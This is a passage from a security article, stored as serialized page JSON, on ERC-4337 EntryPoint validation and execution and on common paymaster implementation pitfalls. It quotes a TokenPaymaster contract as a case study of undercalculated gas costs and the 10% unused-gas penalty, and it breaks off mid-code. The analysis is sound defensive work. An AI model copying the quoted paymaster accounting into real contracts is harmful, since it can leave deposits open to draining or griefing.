functions:",{"type":22,"tag":64,"props":103956,"children":103957},{},[103958,103969],{"type":22,"tag":68,"props":103959,"children":103960},{},[103961,103967],{"type":22,"tag":114,"props":103962,"children":103964},{"className":103963},[],[103965],{"type":28,"value":103966},"validatePaymasterUserOp()",{"type":28,"value":103968}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":22,"tag":68,"props":103970,"children":103971},{},[103972,103978],{"type":22,"tag":114,"props":103973,"children":103975},{"className":103974},[],[103976],{"type":28,"value":103977},"postOp()",{"type":28,"value":103979},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":22,"tag":31,"props":103981,"children":103982},{},[103983,103985,103990],{"type":28,"value":103984},"By supporting both sponsorship and token-based gas payments, ",{"type":22,"tag":114,"props":103986,"children":103988},{"className":103987},[],[103989],{"type":28,"value":103931},{"type":28,"value":103991}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":22,"tag":23,"props":103993,"children":103995},{"id":103994},"understanding-the-entrypoints-flow",[103996,103998,104003],{"type":28,"value":103997},"Understanding the ",{"type":22,"tag":114,"props":103999,"children":104001},{"className":104000},[],[104002],{"type":28,"value":103859},{"type":28,"value":104004},"'s Flow",{"type":22,"tag":31,"props":104006,"children":104007},{},[104008,104010,104015,104016,104021,104023,104034,104036,104041,104042,104047],{"type":28,"value":104009},"When a bundler submits ",{"type":22,"tag":114,"props":104011,"children":104013},{"className":104012},[],[104014],{"type":28,"value":103807},{"type":28,"value":18378},{"type":22,"tag":114,"props":104017,"children":104019},{"className":104018},[],[104020],{"type":28,"value":103859},{"type":28,"value":104022}," contract via ",{"type":22,"tag":42,"props":104024,"children":104027},{"href":104025,"rel":104026},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[46],[104028],{"type":22,"tag":114,"props":104029,"children":104031},{"className":104030},[],[104032],{"type":28,"value":104033},"handleOps()",{"type":28,"value":104035},", the processing occurs in two main phases: ",{"type":22,"tag":74,"props":104037,"children":104038},{},[104039],{"type":28,"value":104040},"Validation",{"type":28,"value":12991},{"type":22,"tag":74,"props":104043,"children":104044},{},[104045],{"type":28,"value":104046},"Execution",{"type":28,"value":292},{"type":22,"tag":1289,"props":104049,"children":104051},{"id":104050},"validation-phase",[104052],{"type":28,"value":104053},"Validation Phase",{"type":22,"tag":31,"props":104055,"children":104056},{},[104057,104059,104064,104066,104072,104074,104080,104081,104086],{"type":28,"value":104058},"In this phase, the ",{"type":22,"tag":114,"props":104060,"children":104062},{"className":104061},[],[104063],{"type":28,"value":103859},{"type":28,"value":104065}," first validates all operations in the submitted ",{"type":22,"tag":114,"props":104067,"children":104069},{"className":104068},[],[104070],{"type":28,"value":104071},"UserOps",{"type":28,"value":104073}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":22,"tag":114,"props":104075,"children":104077},{"className":104076},[],[104078],{"type":28,"value":104079},"UserOp",{"type":28,"value":103893},{"type":22,"tag":114,"props":104082,"children":104084},{"className":104083},[],[104085],{"type":28,"value":103859},{"type":28,"value":213},{"type":22,"tag":4029,"props":104088,"children":104089},{},[104090,104108,104126,104147,104159],{"type":22,"tag":68,"props":104091,"children":104092},{},[104093,104100,104102],{"type":22,"tag":42,"props":104094,"children":104097},{"href":104095,"rel":104096},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[46],[104098],{"type":28,"value":104099},"Calculates",{"type":28,"value":104101}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":22,"tag":114,"props":104103,"children":104105},{"className":104104},[],[104106],{"type":28,"value":104107},"maxFeePerGas",{"type":22,"tag":68,"props":104109,"children":104110},{},[104111,104118,104119,104124],{"type":22,"tag":42,"props":104112,"children":104115},{"href":104113,"rel":104114},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[46],[104116],{"type":28,"value":104117},"Calls",{"type":28,"value":8467},{"type":22,"tag":114,"props":104120,"children":104122},{"className":104121},[],[104123],{"type":28,"value":103826},{"type":28,"value":104125}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":22,"tag":68,"props":104127,"children":104128},{},[104129,104131,104138,104140,104145],{"type":28,"value":104130},"If no paymaster is specified, attempts to ",{"type":22,"tag":42,"props":104132,"children":104135},{"href":104133,"rel":104134},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[46],[104136],{"type":28,"value":104137},"deduct",{"type":28,"value":104139}," the prefund amount from the sender's ETH deposit in the ",{"type":22,"tag":114,"props":104141,"children":104143},{"className":104142},[],[104144],{"type":28,"value":103859},{"type":28,"value":104146}," (this can be partially refunded later if actual execution costs less)",{"type":22,"tag":68,"props":104148,"children":104149},{},[104150,104157],{"type":22,"tag":42,"props":104151,"children":104154},{"href":104152,"rel":104153},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[46],[104155],{"type":28,"value":104156},"Validates",{"type":28,"value":104158}," the nonce to prevent replay attacks",{"type":22,"tag":68,"props":104160,"children":104161},{},[104162,104164,104170,104172,104178,104179,104184],{"type":28,"value":104163},"If a paymaster is specified, it will ",{"type":22,"tag":42,"props":104165,"children":104168},{"href":104166,"rel":104167},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[46],[104169],{"type":28,"value":104137},{"type":28,"value":104171}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":22,"tag":42,"props":104173,"children":104176},{"href":104174,"rel":104175},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[46],[104177],{"type":28,"value":40237},{"type":28,"value":8467},{"type":22,"tag":114,"props":104180,"children":104182},{"className":104181},[],[104183],{"type":28,"value":103966},{"type":28,"value":104185}," on the paymaster contract to verify it will cover gas costs",{"type":22,"tag":31,"props":104187,"children":104188},{},[104189,104191,104196,104198,104203],{"type":28,"value":104190},"Only after all these validation checks pass will the ",{"type":22,"tag":114,"props":104192,"children":104194},{"className":104193},[],[104195],{"type":28,"value":103859},{"type":28,"value":104197}," move on to actually executing the ",{"type":22,"tag":114,"props":104199,"children":104201},{"className":104200},[],[104202],{"type":28,"value":103778},{"type":28,"value":104204},". This strict validation flow ensures that:",{"type":22,"tag":64,"props":104206,"children":104207},{},[104208,104213,104218,104223],{"type":22,"tag":68,"props":104209,"children":104210},{},[104211],{"type":28,"value":104212},"The operation is legitimate and authorized by the user",{"type":22,"tag":68,"props":104214,"children":104215},{},[104216],{"type":28,"value":104217},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":22,"tag":68,"props":104219,"children":104220},{},[104221],{"type":28,"value":104222},"The operation cannot be replayed",{"type":22,"tag":68,"props":104224,"children":104225},{},[104226],{"type":28,"value":104227},"All involved contracts (sender and paymaster) have approved the execution",{"type":22,"tag":31,"props":104229,"children":104230},{},[104231],{"type":28,"value":104232},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":22,"tag":1289,"props":104234,"children":104236},{"id":104235},"execution-phase",[104237],{"type":28,"value":104238},"Execution Phase",{"type":22,"tag":31,"props":104240,"children":104241},{},[104242,104244,104249,104251,104258,104260,104265],{"type":28,"value":104243},"After all operations have passed validation, the ",{"type":22,"tag":114,"props":104245,"children":104247},{"className":104246},[],[104248],{"type":28,"value":103859},{"type":28,"value":104250}," begins the ",{"type":22,"tag":42,"props":104252,"children":104255},{"href":104253,"rel":104254},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[46],[104256],{"type":28,"value":104257},"execution",{"type":28,"value":104259}," phase, processing each ",{"type":22,"tag":114,"props":104261,"children":104263},{"className":104262},[],[104264],{"type":28,"value":103778},{"type":28,"value":104266}," individually. For each operation, the flow is:",{"type":22,"tag":4029,"props":104268,"children":104269},{},[104270,104330,104376],{"type":22,"tag":68,"props":104271,"children":104272},{},[104273,104274,104279,104281,104287,104288,104294,104296],{"type":28,"value":2743},{"type":22,"tag":114,"props":104275,"children":104277},{"className":104276},[],[104278],{"type":28,"value":103859},{"type":28,"value":104280}," makes a ",{"type":22,"tag":42,"props":104282,"children":104285},{"href":104283,"rel":104284},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[46],[104286],{"type":28,"value":40237},{"type":28,"value":58717},{"type":22,"tag":114,"props":104289,"children":104291},{"className":104290},[],[104292],{"type":28,"value":104293},"innerHandleOp()",{"type":28,"value":104295},", which:\n",{"type":22,"tag":64,"props":104297,"children":104298},{},[104299,104311,104316],{"type":22,"tag":68,"props":104300,"children":104301},{},[104302,104309],{"type":22,"tag":42,"props":104303,"children":104306},{"href":104304,"rel":104305},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[46],[104307],{"type":28,"value":104308},"Forwards",{"type":28,"value":104310}," the operation to the sender's smart account contract",{"type":22,"tag":68,"props":104312,"children":104313},{},[104314],{"type":28,"value":104315},"Executes the intended transaction(s) within the smart account",{"type":22,"tag":68,"props":104317,"children":104318},{},[104319,104321,104328],{"type":28,"value":104320},"Handles ",{"type":22,"tag":42,"props":104322,"children":104325},{"href":104323,"rel":104324},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[46],[104326],{"type":28,"value":104327},"post-execution",{"type":28,"value":104329}," tasks and cleanup",{"type":22,"tag":68,"props":104331,"children":104332},{},[104333,104335,104341,104343,104349,104350,104356,104358],{"type":28,"value":104334},"If a paymaster was used, ",{"type":22,"tag":114,"props":104336,"children":104338},{"className":104337},[],[104339],{"type":28,"value":104340},"Entrypoint",{"type":28,"value":104342}," will ",{"type":22,"tag":42,"props":104344,"children":104347},{"href":104345,"rel":104346},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[46],[104348],{"type":28,"value":40237},{"type":28,"value":8467},{"type":22,"tag":114,"props":104351,"children":104353},{"className":104352},[],[104354],{"type":28,"value":104355},"paymaster.postOp()",{"type":28,"value":104357}," to:\n",{"type":22,"tag":64,"props":104359,"children":104360},{},[104361,104366,104371],{"type":22,"tag":68,"props":104362,"children":104363},{},[104364],{"type":28,"value":104365},"Allow paymaster to finalize its accounting",{"type":22,"tag":68,"props":104367,"children":104368},{},[104369],{"type":28,"value":104370},"Process any refunds or additional charges",{"type":22,"tag":68,"props":104372,"children":104373},{},[104374],{"type":28,"value":104375},"Complete any paymaster-specific logic",{"type":22,"tag":68,"props":104377,"children":104378},{},[104379,104381,104386,104387,104394,104396],{"type":28,"value":104380},"Finally, after all operations are processed, the ",{"type":22,"tag":114,"props":104382,"children":104384},{"className":104383},[],[104385],{"type":28,"value":103859},{"type":28,"value":8467},{"type":22,"tag":42,"props":104388,"children":104391},{"href":104389,"rel":104390},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[46],[104392],{"type":28,"value":104393},"compensates",{"type":28,"value":104395}," the bundler for:\n",{"type":22,"tag":64,"props":104397,"children":104398},{},[104399,104404,104409],{"type":22,"tag":68,"props":104400,"children":104401},{},[104402],{"type":28,"value":104403},"Gas costs from executing all operations",{"type":22,"tag":68,"props":104405,"children":104406},{},[104407],{"type":28,"value":104408},"Overhead from submitting the batch transaction",{"type":22,"tag":68,"props":104410,"children":104411},{},[104412],{"type":28,"value":104413},"Any unused gas, which is refunded",{"type":22,"tag":31,"props":104415,"children":104416},{},[104417],{"type":28,"value":104418},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":22,"tag":31,"props":104420,"children":104421},{},[104422,104424,104429,104431,104437,104439,104444],{"type":28,"value":104423},"Now that we understand how the ",{"type":22,"tag":114,"props":104425,"children":104427},{"className":104426},[],[104428],{"type":28,"value":103859},{"type":28,"value":104430}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":22,"tag":114,"props":104432,"children":104434},{"className":104433},[],[104435],{"type":28,"value":104436},"paymasters",{"type":28,"value":104438}," that align with the ",{"type":22,"tag":114,"props":104440,"children":104442},{"className":104441},[],[104443],{"type":28,"value":103859},{"type":28,"value":104445},"'s execution model, leading to potential vulnerabilities.",{"type":22,"tag":37313,"props":104447,"children":104449},{"id":104448},"common-pitfalls-in-paymaster-implementation",[104450],{"type":28,"value":104451},"Common Pitfalls in Paymaster Implementation",{"type":22,"tag":31,"props":104453,"children":104454},{},[104455,104457,104462],{"type":28,"value":104456},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":22,"tag":114,"props":104458,"children":104460},{"className":104459},[],[104461],{"type":28,"value":103859},{"type":28,"value":104463}," to exploitation or griefing.",{"type":22,"tag":31,"props":104465,"children":104466},{},[104467,104469,104474],{"type":28,"value":104468},"In this section, we’ll walk through the ",{"type":22,"tag":74,"props":104470,"children":104471},{},[104472],{"type":28,"value":104473},"two most common pitfalls",{"type":28,"value":104475}," we’ve observed in real-world paymaster implementations:",{"type":22,"tag":23,"props":104477,"children":104479},{"id":104478},"undercalculated-gas-costs",[104480],{"type":22,"tag":74,"props":104481,"children":104482},{},[104483],{"type":28,"value":104484},"Undercalculated Gas Costs",{"type":22,"tag":31,"props":104486,"children":104487},{},[104488,104490,104495,104497,104502,104504,104509,104511,104518],{"type":28,"value":104489},"To understand this issue, let's first examine how gas penalties work in the ",{"type":22,"tag":114,"props":104491,"children":104493},{"className":104492},[],[104494],{"type":28,"value":103859},{"type":28,"value":104496},". When a ",{"type":22,"tag":114,"props":104498,"children":104500},{"className":104499},[],[104501],{"type":28,"value":103778},{"type":28,"value":104503}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":22,"tag":114,"props":104505,"children":104507},{"className":104506},[],[104508],{"type":28,"value":103859},{"type":28,"value":104510}," charges a ",{"type":22,"tag":42,"props":104512,"children":104515},{"href":104513,"rel":104514},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[46],[104516],{"type":28,"value":104517},"penalty of 10%",{"type":28,"value":104519}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":22,"tag":31,"props":104521,"children":104522},{},[104523],{"type":28,"value":104524},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":22,"tag":107,"props":104526,"children":104528},{"className":6487,"code":104527,"language":6486,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n",[104529],{"type":22,"tag":114,"props":104530,"children":104531},{"__ignoreMap":7},[104532,104576,104583,104640,104648,104656,104698,104705,104717,104739,104760,104790,104841,104871,104892,104930,104969,104986,105025,105049,105066,105109,105131,105148,105165,105172,105179,105205,105222,105257,105288,105300,105347,105354,105361,105368,105435,105442,105449,105456,105467,105486,105505,105569,105592,105625,105640,105675,105683,105722,105747,105768,105776,105803,105830,105838,105846,105888,105895,105902,105926,105942,105949,105956,105974,105987,105994,106002],{"type":22,"tag":118,"props":104533,"children":104534},{"class":120,"line":121},[104535,104539,104544,104549,104554,104558,104563,104567,104572],{"type":22,"tag":118,"props":104536,"children":104537},{"style":146},[104538],{"type":28,"value":91410},{"type":22,"tag":118,"props":104540,"children":104541},{"style":131},[104542],{"type":28,"value":104543}," TokenPaymaster",{"type":22,"tag":118,"props":104545,"children":104546},{"style":146},[104547],{"type":28,"value":104548}," is",{"type":22,"tag":118,"props":104550,"children":104551},{"style":131},[104552],{"type":28,"value":104553}," BasePaymaster",{"type":22,"tag":118,"props":104555,"children":104556},{"style":125},[104557],{"type":28,"value":231},{"type":22,"tag":118,"props":104559,"children":104560},{"style":131},[104561],{"type":28,"value":104562},"UniswapHelper",{"type":22,"tag":118,"props":104564,"children":104565},{"style":125},[104566],{"type":28,"value":231},{"type":22,"tag":118,"props":104568,"children":104569},{"style":131},[104570],{"type":28,"value":104571},"OracleHelper",{"type":22,"tag":118,"props":104573,"children":104574},{"style":125},[104575],{"type":28,"value":1474},{"type":22,"tag":118,"props":104577,"children":104578},{"class":120,"line":142},[104579],{"type":22,"tag":118,"props":104580,"children":104581},{"style":125},[104582],{"type":28,"value":12317},{"type":22,"tag":118,"props":104584,"children":104585},{"class":120,"line":177},[104586,104590,104595,104599,104604,104609,104614,104618,104623,104627,104631,104636],{"type":22,"tag":118,"props":104587,"children":104588},{"style":146},[104589],{"type":28,"value":91427},{"type":22,"tag":118,"props":104591,"children":104592},{"style":532},[104593],{"type":28,"value":104594}," _validatePaymasterUserOp",{"type":22,"tag":118,"props":104596,"children":104597},{"style":125},[104598],{"type":28,"value":540},{"type":22,"tag":118,"props":104600,"children":104601},{"style":146},[104602],{"type":28,"value":104603},"PackedUserOperation",{"type":22,"tag":118,"props":104605,"children":104606},{"style":146},[104607],{"type":28,"value":104608}," calldata",{"type":22,"tag":118,"props":104610,"children":104611},{"style":204},[104612],{"type":28,"value":104613}," userOp",{"type":22,"tag":118,"props":104615,"children":104616},{"style":125},[104617],{"type":28,"value":231},{"type":22,"tag":118,"props":104619,"children":104620},{"style":131},[104621],{"type":28,"value":104622},"bytes32",{"type":22,"tag":118,"props":104624,"children":104625},{"style":125},[104626],{"type":28,"value":231},{"type":22,"tag":118,"props":104628,"children":104629},{"style":131},[104630],{"type":28,"value":48108},{"type":22,"tag":118,"props":104632,"children":104633},{"style":204},[104634],{"type":28,"value":104635}," requiredPreFund",{"type":22,"tag":118,"props":104637,"children":104638},{"style":125},[104639],{"type":28,"value":3665},{"type":22,"tag":118,"props":104641,"children":104642},{"class":120,"line":195},[104643],{"type":22,"tag":118,"props":104644,"children":104645},{"style":146},[104646],{"type":28,"value":104647},"        internal\n",{"type":22,"tag":118,"props":104649,"children":104650},{"class":120,"line":244},[104651],{"type":22,"tag":118,"props":104652,"children":104653},{"style":146},[104654],{"type":28,"value":104655},"        override\n",{"type":22,"tag":118,"props":104657,"children":104658},{"class":120,"line":253},[104659,104664,104668,104672,104677,104681,104685,104689,104694],{"type":22,"tag":118,"props":104660,"children":104661},{"style":1480},[104662],{"type":28,"value":104663},"        returns",{"type":22,"tag":118,"props":104665,"children":104666},{"style":125},[104667],{"type":28,"value":842},{"type":22,"tag":118,"props":104669,"children":104670},{"style":131},[104671],{"type":28,"value":85424},{"type":22,"tag":118,"props":104673,"children":104674},{"style":146},[104675],{"type":28,"value":104676}," memory",{"type":22,"tag":118,"props":104678,"children":104679},{"style":204},[104680],{"type":28,"value":77936},{"type":22,"tag":118,"props":104682,"children":104683},{"style":125},[104684],{"type":28,"value":231},{"type":22,"tag":118,"props":104686,"children":104687},{"style":131},[104688],{"type":28,"value":48108},{"type":22,"tag":118,"props":104690,"children":104691},{"style":204},[104692],{"type":28,"value":104693}," validationResult",{"type":22,"tag":118,"props":104695,"children":104696},{"style":125},[104697],{"type":28,"value":3665},{"type":22,"tag":118,"props":104699,"children":104700},{"class":120,"line":263},[104701],{"type":22,"tag":118,"props":104702,"children":104703},{"style":125},[104704],{"type":28,"value":31125},{"type":22,"tag":118,"props":104706,"children":104707},{"class":120,"line":318},[104708,104713],{"type":22,"tag":118,"props":104709,"children":104710},{"style":1480},[104711],{"type":28,"value":104712},"        unchecked",{"type":22,"tag":118,"props":104714,"children":104715},{"style":125},[104716],{"type":28,"value":1474},{"type":22,"tag":118,"props":104718,"children":104719},{"class":120,"line":351},[104720,104725,104730,104734],{"type":22,"tag":118,"props":104721,"children":104722},{"style":131},[104723],{"type":28,"value":104724},"            uint256",{"type":22,"tag":118,"props":104726,"children":104727},{"style":125},[104728],{"type":28,"value":104729}," priceMarkup ",{"type":22,"tag":118,"props":104731,"children":104732},{"style":210},[104733],{"type":28,"value":282},{"type":22,"tag":118,"props":104735,"children":104736},{"style":125},[104737],{"type":28,"value":104738}," tokenPaymasterConfig.priceMarkup;\n",{"type":22,"tag":118,"props":104740,"children":104741},{"class":120,"line":359},[104742,104746,104751,104755],{"type":22,"tag":118,"props":104743,"children":104744},{"style":131},[104745],{"type":28,"value":104724},{"type":22,"tag":118,"props":104747,"children":104748},{"style":125},[104749],{"type":28,"value":104750}," baseFee ",{"type":22,"tag":118,"props":104752,"children":104753},{"style":210},[104754],{"type":28,"value":282},{"type":22,"tag":118,"props":104756,"children":104757},{"style":125},[104758],{"type":28,"value":104759}," tokenPaymasterConfig.baseFee;\n",{"type":22,"tag":118,"props":104761,"children":104762},{"class":120,"line":368},[104763,104767,104772,104776,104781,104785],{"type":22,"tag":118,"props":104764,"children":104765},{"style":131},[104766],{"type":28,"value":104724},{"type":22,"tag":118,"props":104768,"children":104769},{"style":125},[104770],{"type":28,"value":104771}," dataLength ",{"type":22,"tag":118,"props":104773,"children":104774},{"style":210},[104775],{"type":28,"value":282},{"type":22,"tag":118,"props":104777,"children":104778},{"style":125},[104779],{"type":28,"value":104780}," userOp.paymasterAndData.length ",{"type":22,"tag":118,"props":104782,"children":104783},{"style":210},[104784],{"type":28,"value":6340},{"type":22,"tag":118,"props":104786,"children":104787},{"style":125},[104788],{"type":28,"value":104789}," PAYMASTER_DATA_OFFSET;\n",{"type":22,"tag":118,"props":104791,"children":104792},{"class":120,"line":384},[104793,104798,104803,104807,104811,104815,104819,104823,104828,104832,104837],{"type":22,"tag":118,"props":104794,"children":104795},{"style":1480},[104796],{"type":28,"value":104797},"            require",{"type":22,"tag":118,"props":104799,"children":104800},{"style":125},[104801],{"type":28,"value":104802},"(dataLength ",{"type":22,"tag":118,"props":104804,"children":104805},{"style":210},[104806],{"type":28,"value":302},{"type":22,"tag":118,"props":104808,"children":104809},{"style":674},[104810],{"type":28,"value":5074},{"type":22,"tag":118,"props":104812,"children":104813},{"style":210},[104814],{"type":28,"value":25646},{"type":22,"tag":118,"props":104816,"children":104817},{"style":125},[104818],{"type":28,"value":104771},{"type":22,"tag":118,"props":104820,"children":104821},{"style":210},[104822],{"type":28,"value":302},{"type":22,"tag":118,"props":104824,"children":104825},{"style":674},[104826],{"type":28,"value":104827}," 32",{"type":22,"tag":118,"props":104829,"children":104830},{"style":125},[104831],{"type":28,"value":231},{"type":22,"tag":118,"props":104833,"children":104834},{"style":1866},[104835],{"type":28,"value":104836},"\"TPM: invalid data length\"",{"type":22,"tag":118,"props":104838,"children":104839},{"style":125},[104840],{"type":28,"value":682},{"type":22,"tag":118,"props":104842,"children":104843},{"class":120,"line":417},[104844,104848,104853,104857,104862,104867],{"type":22,"tag":118,"props":104845,"children":104846},{"style":131},[104847],{"type":28,"value":104724},{"type":22,"tag":118,"props":104849,"children":104850},{"style":125},[104851],{"type":28,"value":104852}," maxFeePerGas ",{"type":22,"tag":118,"props":104854,"children":104855},{"style":210},[104856],{"type":28,"value":282},{"type":22,"tag":118,"props":104858,"children":104859},{"style":125},[104860],{"type":28,"value":104861}," userOp.",{"type":22,"tag":118,"props":104863,"children":104864},{"style":532},[104865],{"type":28,"value":104866},"unpackMaxFeePerGas",{"type":22,"tag":118,"props":104868,"children":104869},{"style":125},[104870],{"type":28,"value":1098},{"type":22,"tag":118,"props":104872,"children":104873},{"class":120,"line":425},[104874,104878,104883,104887],{"type":22,"tag":118,"props":104875,"children":104876},{"style":131},[104877],{"type":28,"value":104724},{"type":22,"tag":118,"props":104879,"children":104880},{"style":125},[104881],{"type":28,"value":104882}," refundPostopCost ",{"type":22,"tag":118,"props":104884,"children":104885},{"style":210},[104886],{"type":28,"value":282},{"type":22,"tag":118,"props":104888,"children":104889},{"style":125},[104890],{"type":28,"value":104891}," tokenPaymasterConfig.refundPostopCost;\n",{"type":22,"tag":118,"props":104893,"children":104894},{"class":120,"line":441},[104895,104899,104904,104908,104912,104917,104921,104926],{"type":22,"tag":118,"props":104896,"children":104897},{"style":1480},[104898],{"type":28,"value":104797},{"type":22,"tag":118,"props":104900,"children":104901},{"style":125},[104902],{"type":28,"value":104903},"(refundPostopCost ",{"type":22,"tag":118,"props":104905,"children":104906},{"style":210},[104907],{"type":28,"value":559},{"type":22,"tag":118,"props":104909,"children":104910},{"style":125},[104911],{"type":28,"value":104861},{"type":22,"tag":118,"props":104913,"children":104914},{"style":532},[104915],{"type":28,"value":104916},"unpackPostOpGasLimit",{"type":22,"tag":118,"props":104918,"children":104919},{"style":125},[104920],{"type":28,"value":20341},{"type":22,"tag":118,"props":104922,"children":104923},{"style":1866},[104924],{"type":28,"value":104925},"\"TPM: postOpGasLimit too low\"",{"type":22,"tag":118,"props":104927,"children":104928},{"style":125},[104929],{"type":28,"value":682},{"type":22,"tag":118,"props":104931,"children":104932},{"class":120,"line":475},[104933,104937,104942,104946,104951,104955,104960,104964],{"type":22,"tag":118,"props":104934,"children":104935},{"style":131},[104936],{"type":28,"value":104724},{"type":22,"tag":118,"props":104938,"children":104939},{"style":125},[104940],{"type":28,"value":104941}," preChargeNative ",{"type":22,"tag":118,"props":104943,"children":104944},{"style":210},[104945],{"type":28,"value":282},{"type":22,"tag":118,"props":104947,"children":104948},{"style":125},[104949],{"type":28,"value":104950}," requiredPreFund ",{"type":22,"tag":118,"props":104952,"children":104953},{"style":210},[104954],{"type":28,"value":3220},{"type":22,"tag":118,"props":104956,"children":104957},{"style":125},[104958],{"type":28,"value":104959}," (refundPostopCost ",{"type":22,"tag":118,"props":104961,"children":104962},{"style":210},[104963],{"type":28,"value":671},{"type":22,"tag":118,"props":104965,"children":104966},{"style":125},[104967],{"type":28,"value":104968}," maxFeePerGas);\n",{"type":22,"tag":118,"props":104970,"children":104971},{"class":120,"line":484},[104972,104977,104981],{"type":22,"tag":118,"props":104973,"children":104974},{"style":257},[104975],{"type":28,"value":104976},"            // ",{"type":22,"tag":118,"props":104978,"children":104979},{"style":146},[104980],{"type":28,"value":68700},{"type":22,"tag":118,"props":104982,"children":104983},{"style":257},[104984],{"type":28,"value":104985},": price is in native-asset-per-token increasing it means dividing it by 